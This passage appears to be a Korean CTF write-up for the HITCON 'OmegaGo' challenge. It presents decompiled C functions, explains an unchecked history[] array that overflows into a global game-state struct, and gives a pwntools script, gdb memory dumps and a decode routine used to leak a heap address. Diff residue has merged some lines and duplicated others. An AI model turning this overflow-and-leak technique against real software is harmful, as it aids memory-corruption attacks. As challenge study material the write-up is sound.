Versions Compared

Key

  • This line was added.
  • This line was removed.
  • Formatting was changed.

...

Code Block
languagecpp
titleMainFunction()
__int64 OmegaGo()
{
  Method *AI; // rbx
  Method *HUMAN; // rbx
  unsigned int rowNumber; // [rsp+Ch] [rbp-64h]
  unsigned int colNumber; // [rsp+10h] [rbp-60h]
  int playerNum; // [rsp+14h] [rbp-5Ch]
  double playTime; // [rsp+18h] [rbp-58h]
  struct timeval startTime; // [rsp+20h] [rbp-50h]
  struct timeval endTime; // [rsp+30h] [rbp-40h]
  Method *player[2]; // [rsp+40h] [rbp-30h]
  unsigned __int64 v10; // [rsp+58h] [rbp-18h]

  v10 = __readfsqword(0x28u);
  setDefGameinfo();
  playerNum = 1;
  AI = (Method *)operator new(8uLL);
  AI->Play = 0LL;
  setAIFunction(AI);
  player[0] = AI;
  HUMAN = (Method *)operator new(8uLL);
  HUMAN->Play = 0LL;
  setHUMANFunction(HUMAN);
  player[1] = HUMAN;
  while ( !((unsigned __int8)sub_401202(playerNum, &gPlayerGameInfo) ^ 1) )
  {
    gettimeofday(&startTime, 0LL);
    (*player[playerNum - 1]->Play)(player[playerNum - 1], &gPlayerGameInfo, playerNum, &rowNumber, &colNumber);
    gettimeofday(&endTime, 0LL);
    playTime = (double)(LODWORD(endTime.tv_usec) - LODWORD(startTime.tv_usec)) / 1000000.0
             + (double)(LODWORD(endTime.tv_sec) - LODWORD(startTime.tv_sec));
    if ( rowNumber == -1 || colNumber == -1 )
      break;
    if ( rowNumber != -2 && colNumber != -2 )
    {
      *(double *)&gPlayerGameInfo.board[playerNum - 1 + 14LL] = *(double *)&gPlayerGameInfo.board[playerNum - 1 + 14LL]
                                                              - playTime;
      if ( *(double *)&gPlayerGameInfo.board[playerNum - 1 + 14LL] < 0.0 )
        print("Time's up");
      SetMarkForBoard(&gPlayerGameInfo, rowNumber, colNumber, playerNum, 0);
      playerNum ^= 3u;
    }
    else if ( (unsigned __int8)regret() ^ 1 )
    {
      print("No you cant't");
    }
  }
  CheckResults();
  PlayHistory();
  return PlayAgain();
}

SetMarkForBoard

  • 해당 함수는 다음과 같은 기능을 합니다.

    • player 변수의 값을 이용해 플레이어의 마크를 결정합니다.

    • saveMarkofBoard() 함수와 마크를 저장할 좌표 값(row, col)을 이용해 gameinfo이용해gameinfo.Board[] 영역에 값을 저장합니다.

    • 각종 함수를 이용해 플레이어가 마크를 저장하길 원하는 위치 값이 타당한지 확인합니다.

      • CheckBoardArea(), GetMarkForBoard(), checkLocation(), ...

    • 입력한 위치 값이 정상적이지 않으면 메시지를 출력하고 프로그램을 종료합니다.
    • 입력한 위치 값가 정상적이라면 해당 gameInfo를 gHistory[]에 저장합니다.
      • "operator new(0x80)" 코드에 의해 Heap 영역을 할당합니다.
      • 할당된 Heap 영역의 주소 값을 gHistory[]변수에 저장합니다.
  • 취약성은 여기서 발생합니다.
    • GameInfo 구조체를 사용하는 gHistory[]의 크기는 364 입니다.
    • gHistory[] 배열에 저장된 번호가 364를 넘는지에 대한 확인이 없습니다.
    • 즉, 유저가 입력한 값이 364회가 넘으면 gPlayerGameInfo 영역에 Overflow됩니다.
Code Block
signed __int64 __fastcall SetMarkForBoard(GameInfo *gameinfo, unsigned int inputRow, unsigned int inputCol, int player, unsigned __int8 printOpt)
{
  signed __int64 result; // rax
  signed int mark; // eax MAPDST
  bool v7; // al
  GameInfo *historyCount; // rax
  GameInfo *saveGameInfo; // ST30_8
  signed int i; // [rsp+24h] [rbp-2Ch]
  unsigned int row; // [rsp+28h] [rbp-28h]
  unsigned int col; // [rsp+2Ch] [rbp-24h]

  if ( (unsigned __int8)GetMarkForBoard((__int64)gameinfo, inputRow, inputCol) == '.' )
  {
    if ( player == 1 )
      mark = 'O';
    else
      mark = 'X';
    saveMarkofBoard((__int64)gameinfo, inputRow, inputCol, mark);
    gameinfo->rowNumber = inputRow;
    gameinfo->colNumber = inputCol;
    for ( i = 0; i <= 3; ++i )
    {
      row = dword_404FE0[i] + inputRow;
      col = dword_404FF0[i] + inputCol;
      v7 = (unsigned __int8)CheckBoardArea(row) ^ 1 || (unsigned __int8)CheckBoardArea(col) ^ 1;
      if ( !v7
        && (char)GetMarkForBoard((__int64)gameinfo, row, col) == 0xA7 - mark
        && (unsigned int)checkLocation((__int64)gameinfo, row, col) == 0 )
      {
        sub_4024C2((__int64)gameinfo, row, col);
      }
    }
    if ( (unsigned int)checkLocation((__int64)gameinfo, inputRow, inputCol) == 0 )
    {
      if ( !printOpt )
        print("Why you do this :((");
      result = 0LL;
    }
    else if ( (unsigned __int8)sub_402528((__int64)gameinfo, printOpt) )
    {
      if ( !printOpt )
        print("Wanna Ko Fight?");
      result = 0LL;
    }
    else
    {
      if ( printOpt != 1 )
      {
        LODWORD(gameinfo->player) = mark;
        historyCount = (GameInfo *)operator new(0x80uLL);
        *historyCount = *gameinfo;
        saveGameInfo = historyCount;
        LODWORD(historyCount) = gHistoryCount++;
        gHistory[(signed int)historyCount] = saveGameInfo;
      }
      result = 1LL;
    }
  }
  else
  {
    if ( !printOpt )
      print("You cheater!");
    result = 0LL;
  }
  return result;
}

...

Debuging

Overflow

  • 해당 함수는 다음과 같은 기능을 합니다.
    • PrintGameBoard_0() 함수를 이용하여 Go board를 출력합니다.
    • scanf() 함수를 이용하여 최대 10개의 문자를 입력 받습니다.
      • 입력받은 문자열은 다음과 같이 데이터 처리 합니다.
        • 입력한 문자열이 "surrender"는 *colNumber, *rowNumber 변수에 -1을 저장합니다.
        • 입력한 문자열이 "regret"는 *colNumber, *rowNumber 변수에 -2을 저장합니다.
        • 앞에 두 문자열과 같지 않을 경우 다음과 같이 데이터를 처리합니다.
          • sscanf() 함수를 이용하여 문자와 숫자 값을 분리 합니다.
          • 그리고 해당 값은 CheckBoardArea()함수를 이용하여 Go board 범위 안에 포함되는지 확인합니다.
Code Block
languagecpp
titleUserInput()
__int64 __fastcall UserInput(__int64 a1, __int64 a2, __int64 a3, signed int *a4, signed int *a5)
{
 bool v5; // al@11
 signed int *colNumber; // [rsp+8h] [rbp-38h]@1
 signed int *rowNumber; // [rsp+10h] [rbp-30h]@1
 char colChar; // [rsp+37h] [rbp-9h]@7
 __int64 v10; // [rsp+38h] [rbp-8h]@1

 rowNumber = a4;
 colNumber = a5;
 v10 = *MK_FP(__FS__, 40LL);
 PrintGameBoard_0(a2);
 memset(command, 0, 0xCuLL);
 if ( scanf("%10s", command) != 1 )
 print("Er?");
 if ( !strcmp("surrender", command) )
 {
 *colNumber = -1;
 *rowNumber = *colNumber;
 }
 else if ( !strcmp("regret", command) )
 {
 *colNumber = -2;
 *rowNumber = *colNumber;
 }
 else
 {
 if ( sscanf(command, "%c%d", &colChar, rowNumber) != 2 )
 print("Input like 'A19'");
 *colNumber = colChar - 'A';
 *rowNumber = 19 - *rowNumber;
 v5 = (unsigned __int8)CheckBoardArea(*rowNumber) ^ 1 || (unsigned __int8)CheckBoardArea(*colNumber) ^ 1;
 if ( v5 )
 print("No overflow plz.");
 }
 return *MK_FP(__FS__, 40LL) ^ v10;
}

PrintGameBoard

  • 해당 함수는 다음과 같은 기능을 합니다.
    • Go game board를 출력합니다.
      • puts() 함수를 이용해서 세로 좌표값을 출력합니다.(ABCD...)
      • GetMarkForBoard()함수를 이용하여 전달된 인자값에 위치한 mark를 출력합니다.
    • fprintf()함수를 이용하여 Player의 play 시간을 출력합니다.
    • a2변수는 History 출력할때 사용되는 설정 값입니다.
      • a2변수 값으로 1이 전달되면, 플레이어의 Mark와 좌표값을 출력합니다.
Code Block
languagecpp
titlePrintGameBoard()
__int64 __fastcall PrintGameBoard(GameInfo *gameInfo, char a2)
{
 char v2; // al@6
 signed int row; // [rsp+20h] [rbp-10h]@1
 signed int col; // [rsp+24h] [rbp-Ch]@5
 __int64 v6; // [rsp+28h] [rbp-8h]@1

 v6 = *MK_FP(__FS__, 40LL);
 puts(" ABCDEFGHIJKLMNOPQRS");
 for ( row = 0; row <= 18; ++row )
 {
 	if ( 19 - row <= 9 )
 		putchar(' ');
 	else
 		putchar('1');
 		putchar((19 - row) % 10 + 48);
 		putchar(' ');
 	for ( col = 0; col <= 18; ++col )
 	{
 		v2 = GetMarkForBoard(gameInfo, row, col);
 		putchar(v2);
 	}
 	puts(&byte_404E87);
 }
 if ( a2 )
 	fprintf(
	 stdout,
	 "piece %c play at %c%d\n",
	 LODWORD(gameInfo->colNumber),
	 (unsigned int)(HIDWORD(gameInfo->rowNumber) + 'A'),
	 (unsigned int)(19 - LODWORD(gameInfo->rowNumber)));
 fprintf(
 stdout,
 "Time remain: %c: %6.2lf, %c: %6.2lf\n",
 'O',
 'X',
 *(double *)&gameInfo->player,
 gameInfo->playTimeForCom);
 puts(&byte_404E87);
 return *MK_FP(__FS__, 40LL) ^ v6;
}

ResetGameinfo - 0x04010AE

  • 해당 구조체는 다음 함수에서 초기화 됩니다.
    • memset()함수를 이용하여 0x60 byte만큼 0으로 초기화 합니다.
    • rowNumber,colNumber의 값을 -1로 저장합니다.

    • player의 값으로는 0을 저장합니다.
    • playTimeForHum, playTimeForCom의 값으로 4640537203540230144을 저장합니다.

Code Block
languagecpp
titleResetGameinfo_04010AE(GameInfo *gameInfo)
__int64 __fastcall ResetGameinfo(GameInfo *gameInfo)
{
  GameInfo *tmp; // ST08_8@1
  __int64 canary; // ST18_8@1

  tmp = gameInfo;
  canary = *MK_FP(__FS__, 40LL);
  memset(gameInfo, 0, 0x60uLL);
  gameInfo->colNumber = -1;
  tmp->rowNumber = tmp->colNumber;
  LODWORD(gameInfo->player) = 0;
  *(_QWORD *)&gameInfo->playTimeForHum = 4640537203540230144LL;
  tmp->playTimeForCom = tmp->playTimeForHum;
  return *MK_FP(__FS__, 40LL) ^ canary;
}

SetMarkForBoard - 0x04025B2

  • 해당 함수는 다음과 같은 기능을 합니다.
    • GetMarkForBoard() 함수를 이용하여 유저가 입력한 좌표의 값이 '.' 문자와 같은지 확인합니다.

    • playerInfo의 값을 이용하여 board에 표시할 mark 문자를 설정합니다.
    • 그리고 사용자로 부터 입력받은 값이 정상적인 값인지 확인합니다.
    • 마지막으로 그 값이 정상적인 값이라면 다음과 같은 처리를 진행합니다.
      • "operator new(0x80uLL)" 코드에 의해 Heap 영역을 할당합니다.
        • 할당된 Heap 메모리의 크기는 0x90 byte 입니다.
      • gameInfo에 보관된 값을 할당된 Heap 영역에 저장합니다.
      • 할당된 Heap 영역의 주소 값을 history[]변수에 저장합니다.
Code Block
languagecpp
titleSetMarkForBoard
signed __int64 __fastcall SetMarkForBoard(GameInfo *gameInfo, unsigned int rowNumber, unsigned int colNumber, int playerInfo, unsigned __int8 a5)
{
  signed __int64 result; // rax@3
  signed int playerMark; // eax@6
  bool v7; // al@11
  GameInfo *v8; // rax@28
  GameInfo *v9; // ST30_8@28
  __int64 v10; // rbx@30
  unsigned __int8 v11; // [rsp+8h] [rbp-48h]@1
  int playerDistinction; // [rsp+Ch] [rbp-44h]@1
  signed int playerMark_1; // [rsp+Ch] [rbp-44h]@8
  unsigned int col; // [rsp+10h] [rbp-40h]@1
  signed int i; // [rsp+24h] [rbp-2Ch]@8
  unsigned int row; // [rsp+28h] [rbp-28h]@9
  int v17; // [rsp+2Ch] [rbp-24h]@9
  __int64 v18; // [rsp+38h] [rbp-18h]@1

  col = colNumber;
  playerDistinction = playerInfo;
  v11 = a5;
  v18 = *MK_FP(__FS__, 40LL);
  if ( (unsigned __int8)GetMarkForBoard(gameInfo, rowNumber, colNumber) == '.' )
  {
    if ( playerDistinction == 1 )
      playerMark = 'O';
    else
      playerMark = 'X';
    playerMark_1 = playerMark;
    sub_401D48(gameInfo, rowNumber, col, playerMark);
    LODWORD(gameInfo->rowNumber) = rowNumber;
    HIDWORD(gameInfo->rowNumber) = col;
    for ( i = 0; i <= 3; ++i )
    {
      row = dword_404FE0[i] + rowNumber;
      v17 = dword_404FF0[i] + col;
      v7 = (unsigned __int8)CheckBoardArea(row) ^ 1 || (unsigned __int8)CheckBoardArea(v17) ^ 1;
      if ( !v7
        && (char)GetMarkForBoard(gameInfo, row, v17) == 167 - playerMark_1
        && (unsigned int)sub_402330(gameInfo, row, v17) == 0 )
      {
        sub_4024C2((__int64)gameInfo, row, v17);
      }
    }
    if ( (unsigned int)sub_402330(gameInfo, rowNumber, col) == 0 )
    {
      if ( !v11 )
        print("Why you do this :((");
      result = 0LL;
    }
    else if ( (unsigned __int8)sub_402528(gameInfo, v11) )
    {
      if ( !v11 )
        print("Wanna Ko Fight?");
      result = 0LL;
    }
    else
    {
      if ( v11 != 1 )
      {
        LODWORD(gameInfo->colNumber) = playerMark_1;
        operator new(0x80uLL);
        v8->board[0] = gameInfo->board[0];
        v8->board[1] = gameInfo->board[1];
        v8->board[2] = gameInfo->board[2];
        v8->board[3] = gameInfo->board[3];
        v8->board[4] = gameInfo->board[4];
        v8->board[5] = gameInfo->board[5];
        v8->board[6] = gameInfo->board[6];
        v8->board[7] = gameInfo->board[7];
        v8->board[8] = gameInfo->board[8];
        v8->board[9] = gameInfo->board[9];
        v8->board[10] = gameInfo->board[10];
        v8->board[11] = gameInfo->board[11];
        v8->rowNumber = gameInfo->rowNumber;
        v8->colNumber = gameInfo->colNumber;
        v8->player = gameInfo->player;
        v8->playTimeForCom = gameInfo->playTimeForCom;
        v9 = v8;
        LODWORD(v8) = historyCount++;
        history[(signed int)v8] = v9;
      }
      result = 1LL;
    }
  }
  else
  {
    if ( !v11 )
      print("You cheater!");
    result = 0LL;
  }
  v10 = *MK_FP(__FS__, 40LL) ^ v18;
  return result;
}

regret() - 0x0401609

  • 해당 함수는 다음과 같은 기능을 처리 합니다.
    • Computer,사람의 플레이 정보를 지우기 위해 DeletePlayHistory()를 2번 호출합니다.

      • history[]배열의 끝에 저장된 2개의 값을 제거합니다.
    • 그리고 history[] 배열에 끝에 저장된 heap 영역의 정보를 gameInfo 전역 변수에 저장합니다.
      • 이전 플레이로 되돌리는 것입니다.
Code Block
languagecpp
titleregret()
signed __int64 regret()
{
  signed __int64 result; // rax@2
  GameInfo *tmp; // rax@4
  __int64 v2; // rcx@6
  __int64 v3; // [rsp+8h] [rbp-8h]@1

  v3 = *MK_FP(__FS__, 40LL);
  if ( historyCount > 1 )
  {
    DeletePlayHistory();                        // Computer play history
    DeletePlayHistory();                        // Human paly history
    if ( history[historyCount - 1] )
    {
      tmp = history[historyCount - 1];
      gameInfo.board[0] = tmp->board[0];
      gameInfo.board[1] = tmp->board[1];
      gameInfo.board[2] = tmp->board[2];
      gameInfo.board[3] = tmp->board[3];
      gameInfo.board[4] = tmp->board[4];
      gameInfo.board[5] = tmp->board[5];
      gameInfo.board[6] = tmp->board[6];
      gameInfo.board[7] = tmp->board[7];
      gameInfo.board[8] = tmp->board[8];
      gameInfo.board[9] = tmp->board[9];
      gameInfo.board[10] = tmp->board[10];
      gameInfo.board[11] = tmp->board[11];
      *(_QWORD *)&gameInfo.rowNumber = *(_QWORD *)&tmp->rowNumber;
      gameInfo.player = tmp->player;
      gameInfo.playTimeForCom = tmp->playTimeForCom;
      gameInfo.playTimeForHum = tmp->playTimeForHum;
    }
    result = 1LL;
  }
  else
  {
    result = 0LL;
  }
  v2 = *MK_FP(__FS__, 40LL) ^ v3;
  return result;
}

DeletePlayHistory()

  • 해당 함수는 다음과 같은 기능을 처리합니다.
    • 이전에 play한 history가 있는지 확인합니다.
    • 해당 history가 있다면 operator delete() 를 이용해 해당 history를 삭제 합니다.
    • 그리고 historyCount값도 감소 시킵니다.
Code Block
languagecpp
titleDeletePlayHistory()
__int64 DeletePlayHistory()
{
  __int64 v1; // [rsp+0h] [rbp-10h]@2
  __int64 canary; // [rsp+8h] [rbp-8h]@1

  canary = *MK_FP(__FS__, 40LL);
  if ( !history[historyCount - 1] )
    return *MK_FP(__FS__, 40LL) ^ canary;
  v1 = sub_401EB6(history[historyCount - 1]);

  operator delete(history[historyCount - 1]);


  sub_402FE6((__int64)&unk_607220, (__int64)&v1);
  --historyCount;
  return *MK_FP(__FS__, 40LL) ^ canary;
}

Explanation of vulnerability

Overflow

  • 해당 프로그램의 취약성은 history를 저장하는 부분에서 발생합니다.
    • 사용자가 입력한 좌표값을 history[] 배열에 저장하는데 제한이 없습니다.
    • history[] 변수는 전역 변수이며, 배열의 크기는 364 입니다.
      • GameInfo *history[364]

    • history[] 전역 변수의 위치는 0x609460입니다.
Code Block
languagecpp
titleOverflow
signed __int64 __fastcall SetMarkForBoard(GameInfo *gameInfo, unsigned int rowNumber, unsigned int colNumber, int playerInfo, unsigned __int8 a5)
{
	...
      if ( v11 != 1 )
      {
        LODWORD(gameInfo->player) = playerMark_1;
        operator new(0x80uLL);
        *v8 = *gameInfo;
        v9 = v8;
        LODWORD(v8) = historyCount++;
        history[(signed int)v8] = v9;
      }
	...
}
  • 해당 Overflow 취약성을 이용해 전역 변수 gameInfo의 값을 변경할 수 있습니다.
    • 전역 변수 gameInfo의 주소는 0x609FC0입니다.
    • 해당 위치는 바로 history[] 전역 변수 바로 뒤에 위치합니다.
      • 0x609FC0 - 0x609460 = 0xb60(2912) / 0x8(address len) = 364
  • 다음과 같은 코드를 이용하여 gameInfo 전역 변수의 값을 Overflow할 수 있습니다.
  • 코드를 이용하여 gameInfo 전역 변수의 값을 Overflow할 수 있습니다.
Code Block
language
Code Block
languagepy
titleOverflow for gameInfo
from pwn import *

#context.log_level = 'debug'

col_list = ['A','B','C','D','E','F','G','H','I','J','K','L','M','N','O','P','Q','R','S']

p = process('omega_go_6eef19dbb9f98b67af303f18978914d10d8f06ac')

def Play(location):
	p.recvuntil('\n\n')
	p.sendline(location)


def Fill(colStart, colEnd, row):
	for colNum in range(col_list.index(colStart),col_list.index(colEnd)+1):
		locate = str(col_list[colNum])
		locate += str(row)
		Play(locate)


Fill('B','S',11)
for count in reversed(range(1,9)):
    Fill('A','S',count)
Fill('A','A',11)
Fill('A','K',12))
Fill('A','K',12)


p.interactive()
  • 디버깅 전에 각 전역 변수의 위치를 알아야 합니다.
    • gGameInfo : 0x609FC0
    • gHistory : 0x609460
    • gGameInfo Address(0x609FC0) - gHistory(0x609460) = 0xb60(2912) / 0x8(address len) = 364
  • 다음은 디버깅을 통해 확인한 내용입니다.
    • gameInfo(0x609fc0) 전역 변수에 heap address(0x609fc0)값이 저장된 것을 확인 할 수 있습니다.
Code Block
titleoverflow for gameInfo
autolycos@ubuntu:~$ sudolazenca0x0@ubuntu:~/CTF/HITCON/OmegaGo$ gdb -q -p 321163491
Attaching to process 321163491

...


(gdb) x/wx 0x609FC0
0x609fc0:	0x02320180
(gdb)gdb-peda$ x/gx 0x609FC0
0x609fc0:	0x00000000023201800x0000000000b94da0
(gdb)-peda$ x/8gx10gx 0x609FC0 - 0x10
0x609fb0:	0x0000000002320000	0x00000000023200c0
0x609fc0:	0x00000000023201800x0000000000b94da0	0x0000000000000000
0x609fd0:	0x0000000000000000	0x0000000000000000
0x609fe0:	0xaaaa0000aaaaa800	0x50000100002aaaaa
(gdb)
0x609ff0:	0x5554000155555555	0x0000000000000055
0x60a000:	0x0000000000000000	0x0000000000000000
  • 그리고 해당 Overflow를 통해 출력되는 Board의 내용이 변경된 것을 확인 할 수 있습니다.
    • 우리는 해당 정보를 이용하여 heap address를 추출 할 수 있습니다.
Code Block
titleBoard
autolycos@ubuntulazenca0x0@ubuntu:~/CTF/HITCON/OmegaGo$ python fillout.py test.py 
[!] Cold not find executable 'omega_go_6eef19dbb9f98b67af303f18978914d10d8f06ac' in $PATH, using './omega_go_6eef19dbb9f98b67af303f18978914d10d8f06ac' instead
[+] Starting local process './omega_go_6eef19dbb9f98b67af303f18978914d10d8f06ac': Done pid 3491
[*] Switching to interactive mode
   ABCDEFGHIJKLMNOPQRS
19 ...XO...X.\x00.XXXO\x00.OOX\x00X.......
18 ...................
17 ...................
16 ...................
15 ...................
14 ...................
13 ...................
12 XXXXXXXXXXX........
11 XXXXXXXXXXXXXXXXXXX
10 .........O.........
 9 OOOOOOOOOOOOOOOOOOO
 8 ........OOOOOOOOOOO
 7 ...................
 6 ...................
 5 ...................
 4 ...................
 3 ...................
 2 ...................
 1 ...................
Time remain: O: 180.00, X: 179.8384

$  

Decode

  • 추출된 화면에 출력된 Address를 해석하기 위해서는 Board에 저장되는 Mark의 값이 어떻게 관리 되는지 확인이 필요합니다.
  • 다음과 같이 유저가 좌표 값을 입력하면 메모리 값은 다음과 같이 변경됩니다.
    • 유저가 입력한 값은 0x609fc0 영역에 0x2가 저장됩니다.

    • 컴퓨터가 입력한 값은 0x60a01A 영역에 0x1가 저장됩니다.

Code Block
title좌표 입력
autolycos@ubuntulazenca0x0@ubuntu:~/CTF/HITCON/OmegaGo$ gdb -q ./omega*
Reading symbols from ./omega_go_6eef19dbb9f98b67af303f18978914d10d8f06ac...(no debugging symbols found)...done.
(gdb)-peda$ r
Starting program: /home/autolycoslazenca0x0/CTF/HITCON/OmegaGo/omega_go_6eef19dbb9f98b67af303f18978914d10d8f06ac 


...Print board print ......
Time remain: O: 180.00, X: 180.00

A19


...Print board print ...

^C
Program received signal SIGINT, Interrupt.
0x00007ffff75e66b0 in __read_nocancel () at ../sysdeps/unix/syscall-template.S:81
81	../sysdeps/unix/syscall-template.S: No such file or directory.
(gdb)Time remain: O: 180.00, X: 171.04

^C
Program received signal SIGINT, Interrupt.

gdb-peda$ x/12gx 0x609FC0
0x609fc0:	0x0000000000000002	0x0000000000000000
0x609fd0:	0x0000000000000000	0x0000000000000000
0x609fe0:	0x0000000000000000	0x0000010000000000
0x609ff0:	0x0000000000000000	0x0000000000000000
0x60a000:	0x0000000000000000	0x0000000000000000
0x60a010:	0x0000000000000000	0x0000000000010000
(gdb)-peda$ 
  • 다음과 같이 추가적인 메모리의 변화를 확인합니다.
    • 사용자 입력을 통해 19행을 모두 채우면 메모리에 다음과 같이 저장됩니다

    메모리의 변화는 조금더 확인하기 위해 19열을 가득 채워 보겠습니다
    • .

      • 유저가 입력한 값은 0x2aaaaaaaaa 입니다.

      • 컴퓨터가 입력한 값은 0x01555555555 입니다.

Code Block
title19열 채우기
   ABCDEFGHIJKLMNOPQRS
19 XXXXXXXXXXXXXXXXXXX
18 ...................
17 ...................
16 ...................
15 ...................
14 ...................
13 ...................
12 ...................
11 ...................
10 .........O.........
 9 ...................
 8 ...................
 7 ...................
 6 ...................
 5 ...................
 4 ...................
 3 ...................
 2 ...................
 1 OOOOOOOOOOOOOOOOOOO
Time remain: O: 180.00, X: 141.02

^C
Program received signal SIGINT, Interrupt.
0x00007ffff75e66b0 in __read_nocancel () at ../sysdeps/unix/syscall-template.S:81
81	../sysdeps/unix/syscall-template.S: No such file or directory.
(gdb)-peda$  x/12gx 0x609FC0
0x609fc0:	0x0000002aaaaaaaaa	0x0000000000000000
0x609fd0:	0x0000000000000000	0x0000000000000000
0x609fe0:	0x0000000000000000	0x0000010000000000
0x609ff0:	0x0000000000000000	0x0000000000000000
0x60a000:	0x0000000000000000	0x0000000000000000
0x60a010:	0x5555500000000000	0x0000000000015555
(gdb)
  • 앞에서 확인한 내용을 바탕으로 Player별 Mark 표시는 다음과 같이 bit단위로 설정하고 있다는 것을 알수 있습니다.
gdb-peda$ 
  • Board에 저장되는 값을 다음과 같은 방법으로 관리됩니다.
    • Board영역에 저장되는 값을 bit를 이용해 저장될 값을 결정합니다.
    • 다음과 같은 bit값을 이용해 player를 구분합니다.
      • AI : 10 bit
      • Humman : 01bit
Panel
titleMark 식별

Mark /

Player

X / O

X. / O.

XX / OO

bithexbithexbithex

ComputerAI

10

0x2

10000x8

1010

0xA

Humman

01

0x1

01000x4

0101

0x5
  • 이러한 정보를 이용하여 다음과 같은 복호화 도구를 작성할 수 있습니다.
Code Block
languagepy
titleDecode()
def decode(offset):
    bit_offset = offset * 8
    data = ''.join(board)
    result = 0
    for i in xrange(32):
        states = '.OX\0'
        val = states.index(data[bit_offset + i])
        result |= val << (i * 2)
    return result

...